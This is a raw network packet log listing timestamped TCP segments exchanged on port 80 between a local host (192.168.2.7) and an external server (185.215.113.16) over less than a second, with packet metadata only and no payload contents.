Oct 29, 2024 20:36:17.735984087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.736021996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.736025095 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.736033916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.736053944 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.736076117 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.763514042 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.763641119 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.763665915 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.763679981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.763690948 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.763705969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.763710022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.763717890 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.763736010 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.763771057 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.786232948 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786282063 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786319017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786325932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.786346912 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.786355019 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.786375046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786416054 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.786495924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786561012 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.786604881 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786622047 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786633968 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786639929 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786650896 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786674023 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.786690950 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.786726952 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786737919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786748886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786772966 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.786798000 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.786803007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786847115 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.786935091 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786947966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786959887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.786998034 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787014961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787030935 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787045956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787070990 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787076950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787090063 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787096024 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787103891 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787107944 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787117004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787137985 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787143946 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787158966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787166119 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787195921 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787199020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787219048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787235975 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787244081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787261009 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787269115 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787347078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787359953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787419081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787456989 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787501097 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787513018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787518024 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787533998 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787549973 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787550926 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787565947 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787590027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787606001 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787632942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787652969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787663937 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787678003 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787678003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.787683964 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787699938 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.787719011 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.797787905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.797799110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.797863007 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.837483883 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.837518930 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.837551117 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.837713003 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.837713003 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.852540016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.852587938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.852601051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.852615118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.852623940 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.852627993 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.852663994 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.852690935 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.852704048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.852742910 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.852767944 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.852781057 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.852812052 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.852849007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.852894068 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.852897882 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.852911949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.852931023 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.852955103 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.852991104 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.853003979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.853014946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.853061914 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.853077888 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.853116035 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.853128910 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.853141069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.853153944 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.853163004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.853178024 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.853209972 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.880295038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.880336046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.880347967 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.880372047 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.880388975 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.880435944 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.880435944 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.880449057 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.880460978 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.880482912 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.880498886 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.902987003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903017998 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903033972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903182030 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.903477907 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903536081 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903553009 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903564930 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903568983 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.903570890 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903584003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903603077 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.903616905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.903641939 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.903669119 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903681040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903711081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.903738022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903749943 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903826952 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.903893948 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903906107 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903917074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903954029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903964996 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.903965950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.903983116 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.904000044 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.904052019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904105902 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904117107 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904126883 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.904145956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904159069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904162884 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.904175043 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.904200077 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.904367924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904431105 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904443026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904483080 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904494047 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904517889 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.904558897 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.904578924 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904592037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904603004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904652119 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.904844046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904855013 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904865026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.904906034 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.904928923 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.955553055 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.955630064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.955648899 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.955662012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.955677032 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.955694914 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.955702066 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.955724001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.955740929 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.955760002 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.969306946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969321012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969332933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969403982 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969407082 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.969424009 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.969436884 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969449043 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969456911 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.969476938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969481945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969496012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969512939 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.969517946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969542027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.969556093 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.969590902 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969602108 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969613075 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969635010 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.969650984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969659090 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.969662905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969675064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969692945 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.969696999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969711065 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.969738007 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.969862938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969903946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969907045 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.969916105 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.969942093 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.969957113 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.970037937 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.970050097 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.970107079 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.997287035 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.997299910 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.997318029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.997355938 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.997375965 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.997375965 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.997390032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:17.997406960 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:17.997456074 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.019711018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.019737959 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.019810915 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.019825935 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.019835949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.019846916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.019867897 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.019895077 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.020565987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.020633936 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.020641088 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.020675898 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.020679951 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.020713091 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.020750046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.020787001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.020787001 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.020806074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.020822048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.020826101 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.020834923 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.020840883 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.020848036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.020860910 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.020881891 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.020881891 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.020884991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.020908117 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.020937920 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.020942926 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.020955086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.020979881 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021002054 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021027088 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021039963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021049976 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021061897 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021090031 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021110058 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021182060 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021200895 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021246910 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021269083 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021281004 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021294117 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021322012 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021327972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021339893 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021370888 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021387100 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021450043 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021466970 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021478891 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021491051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021508932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021523952 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021553993 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021565914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021576881 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021595001 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021614075 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021651983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021663904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021703005 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021784067 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021822929 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021847963 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021861076 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.021876097 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.021915913 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.072761059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.072792053 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.072803020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.072810888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.072822094 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.072926998 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.072978973 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.087011099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.087035894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.087053061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.087064981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.087076902 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.087089062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.087100983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.087182999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.087193966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.087201118 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.087204933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.087245941 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.087245941 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.087277889 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.087289095 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.087299109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:18.087331057 CET	49983	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:18.087361097 CET	49983	80	192.168.2.7	185.215.113.16
